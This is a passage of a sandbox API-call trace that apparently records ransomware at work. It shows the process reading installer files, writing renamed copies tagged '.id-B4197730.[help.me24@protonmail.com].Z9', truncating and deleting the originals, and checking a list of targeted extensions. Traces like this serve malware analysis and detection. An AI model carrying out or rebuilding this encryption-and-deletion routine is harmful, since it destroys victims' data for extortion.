	[0071.294] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.294] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.294] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0071.306] GetLastError () returned 0x0
	[0071.306] ReadFile (in: hFile=0x334, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xf19, lpOverlapped=0x0) returned 1
	[0071.308] WriteFile (in: hFile=0x32c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf20, lpOverlapped=0x0) returned 1
	[0071.309] ReadFile (in: hFile=0x334, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.309] WriteFile (in: hFile=0x32c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0071.309] SetEndOfFile (hFile=0x32c) returned 1
	[0071.309] CloseHandle (hObject=0x32c) returned 1
	[0071.310] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.310] SetEndOfFile (hFile=0x334) returned 1
	[0071.311] CloseHandle (hObject=0x334) returned 1
	[0071.311] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.311] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1
	[0071.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.312] lstrlenW (lpString=".doc") returned 4
	[0071.312] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.312] lstrlenW (lpString=".docx") returned 5
	[0071.312] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.312] lstrlenW (lpString=".pdf") returned 4
	[0071.312] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.312] lstrlenW (lpString=".xls") returned 4
	[0071.312] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.312] lstrlenW (lpString=".xlsx") returned 5
	[0071.312] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.312] lstrlenW (lpString=".ppt") returned 4
	[0071.312] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.312] lstrlenW (lpString=".zip") returned 4
	[0071.312] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.312] lstrlenW (lpString=".rar") returned 4
	[0071.312] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.312] lstrlenW (lpString=".bz2") returned 4
	[0071.312] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.312] lstrlenW (lpString=".7z") returned 3
	[0071.312] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.312] lstrlenW (lpString=".dbf") returned 4
	[0071.312] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.312] lstrlenW (lpString=".1cd") returned 4
	[0071.312] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.313] lstrlenW (lpString=".jpg") returned 4
	[0071.313] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.313] lstrlenW (lpString=".doc") returned 4
	[0071.313] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.313] lstrlenW (lpString=".docx") returned 5
	[0071.313] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.313] lstrlenW (lpString=".pdf") returned 4
	[0071.313] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.313] lstrlenW (lpString=".xls") returned 4
	[0071.313] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.313] lstrlenW (lpString=".xlsx") returned 5
	[0071.313] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.313] lstrlenW (lpString=".ppt") returned 4
	[0071.313] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.313] lstrlenW (lpString=".zip") returned 4
	[0071.313] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.313] lstrlenW (lpString=".rar") returned 4
	[0071.313] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.313] lstrlenW (lpString=".bz2") returned 4
	[0071.313] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.313] lstrlenW (lpString=".7z") returned 3
	[0071.313] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.313] lstrlenW (lpString=".dbf") returned 4
	[0071.313] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.313] lstrlenW (lpString=".1cd") returned 4
	[0071.313] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0071.313] lstrlenW (lpString=".jpg") returned 4
	[0071.313] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.314] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0071.314] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0071.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0071.314] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=77680) returned 1
	[0071.314] CloseHandle (hObject=0x334) returned 1
	[0071.314] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80
	[0071.314] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0071.314] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.314] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.314] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0071.315] GetLastError () returned 0x0
	[0071.315] ReadFile (in: hFile=0x334, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x12f70, lpOverlapped=0x0) returned 1
	[0071.332] WriteFile (in: hFile=0x32c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x12f80, lpOverlapped=0x0) returned 1
	[0071.335] ReadFile (in: hFile=0x334, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.335] WriteFile (in: hFile=0x32c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0071.335] SetEndOfFile (hFile=0x32c) returned 1
	[0071.335] CloseHandle (hObject=0x32c) returned 1
	[0071.338] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.338] SetEndOfFile (hFile=0x334) returned 1
	[0071.340] CloseHandle (hObject=0x334) returned 1
	[0071.340] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.340] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1
	[0071.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.340] lstrlenW (lpString=".doc") returned 4
	[0071.340] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.340] lstrlenW (lpString=".docx") returned 5
	[0071.340] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.340] lstrlenW (lpString=".pdf") returned 4
	[0071.340] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.340] lstrlenW (lpString=".xls") returned 4
	[0071.341] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.341] lstrlenW (lpString=".xlsx") returned 5
	[0071.341] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.341] lstrlenW (lpString=".ppt") returned 4
	[0071.341] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.341] lstrlenW (lpString=".zip") returned 4
	[0071.341] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.341] lstrlenW (lpString=".rar") returned 4
	[0071.341] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.341] lstrlenW (lpString=".bz2") returned 4
	[0071.341] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.341] lstrlenW (lpString=".7z") returned 3
	[0071.341] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.341] lstrlenW (lpString=".dbf") returned 4
	[0071.341] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.341] lstrlenW (lpString=".1cd") returned 4
	[0071.341] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.341] lstrlenW (lpString=".jpg") returned 4
	[0071.341] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.341] lstrlenW (lpString=".doc") returned 4
	[0071.341] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.341] lstrlenW (lpString=".docx") returned 5
	[0071.341] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.341] lstrlenW (lpString=".pdf") returned 4
	[0071.341] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.341] lstrlenW (lpString=".xls") returned 4
	[0071.341] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.341] lstrlenW (lpString=".xlsx") returned 5
	[0071.341] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.341] lstrlenW (lpString=".ppt") returned 4
	[0071.341] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.342] lstrlenW (lpString=".zip") returned 4
	[0071.342] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.342] lstrlenW (lpString=".rar") returned 4
	[0071.342] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.342] lstrlenW (lpString=".bz2") returned 4
	[0071.342] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.342] lstrlenW (lpString=".7z") returned 3
	[0071.342] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.342] lstrlenW (lpString=".dbf") returned 4
	[0071.342] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.342] lstrlenW (lpString=".1cd") returned 4
	[0071.342] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0071.342] lstrlenW (lpString=".jpg") returned 4
	[0071.342] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.342] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0071.342] lstrlenW (lpString="eula.rtf") returned 8
	[0071.342] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0071.342] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3859) returned 1
	[0071.342] CloseHandle (hObject=0x334) returned 1
	[0071.343] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80
	[0071.343] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.343] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0071.343] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.343] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.343] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.732] GetLastError () returned 0x0
	[0071.732] ReadFile (in: hFile=0x334, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xf13, lpOverlapped=0x0) returned 1
	[0071.796] WriteFile (in: hFile=0x358, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf20, lpOverlapped=0x0) returned 1
	[0071.797] ReadFile (in: hFile=0x334, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.797] WriteFile (in: hFile=0x358, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0071.797] SetEndOfFile (hFile=0x358) returned 1
	[0071.798] CloseHandle (hObject=0x358) returned 1
	[0071.798] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.798] SetEndOfFile (hFile=0x334) returned 1
	[0071.799] CloseHandle (hObject=0x334) returned 1
	[0071.799] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.799] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1
	[0071.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.800] lstrlenW (lpString=".doc") returned 4
	[0071.800] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.800] lstrlenW (lpString=".docx") returned 5
	[0071.800] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.800] lstrlenW (lpString=".pdf") returned 4
	[0071.800] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.800] lstrlenW (lpString=".xls") returned 4
	[0071.800] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.800] lstrlenW (lpString=".xlsx") returned 5
	[0071.800] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.800] lstrlenW (lpString=".ppt") returned 4
	[0071.800] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.800] lstrlenW (lpString=".zip") returned 4
	[0071.800] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.800] lstrlenW (lpString=".rar") returned 4
	[0071.800] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.800] lstrlenW (lpString=".bz2") returned 4
	[0071.800] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.800] lstrlenW (lpString=".7z") returned 3
	[0071.800] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.800] lstrlenW (lpString=".dbf") returned 4
	[0071.800] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.800] lstrlenW (lpString=".1cd") returned 4
	[0071.800] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.800] lstrlenW (lpString=".jpg") returned 4
	[0071.800] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.801] lstrlenW (lpString=".doc") returned 4
	[0071.801] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.801] lstrlenW (lpString=".docx") returned 5
	[0071.801] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.801] lstrlenW (lpString=".pdf") returned 4
	[0071.801] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.801] lstrlenW (lpString=".xls") returned 4
	[0071.801] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.801] lstrlenW (lpString=".xlsx") returned 5
	[0071.801] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.801] lstrlenW (lpString=".ppt") returned 4
	[0071.801] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.801] lstrlenW (lpString=".zip") returned 4
	[0071.801] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.801] lstrlenW (lpString=".rar") returned 4
	[0071.801] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.801] lstrlenW (lpString=".bz2") returned 4
	[0071.801] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.801] lstrlenW (lpString=".7z") returned 3
	[0071.801] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.801] lstrlenW (lpString=".dbf") returned 4
	[0071.801] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.801] lstrlenW (lpString=".1cd") returned 4
	[0071.801] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0071.801] lstrlenW (lpString=".jpg") returned 4
	[0071.801] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.802] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0071.802] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0071.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.851] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=60684) returned 1
	[0071.851] CloseHandle (hObject=0x338) returned 1
	[0071.851] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80
	[0071.851] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.851] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.851] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.851] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.851] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.851] GetLastError () returned 0x0
	[0071.852] ReadFile (in: hFile=0x338, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xed0c, lpOverlapped=0x0) returned 1
	[0071.862] WriteFile (in: hFile=0x330, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xed10, lpOverlapped=0x0) returned 1
	[0071.863] ReadFile (in: hFile=0x338, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.864] WriteFile (in: hFile=0x330, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0071.864] SetEndOfFile (hFile=0x330) returned 1
	[0071.864] CloseHandle (hObject=0x330) returned 1
	[0071.866] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.866] SetEndOfFile (hFile=0x338) returned 1
	[0071.867] CloseHandle (hObject=0x338) returned 1
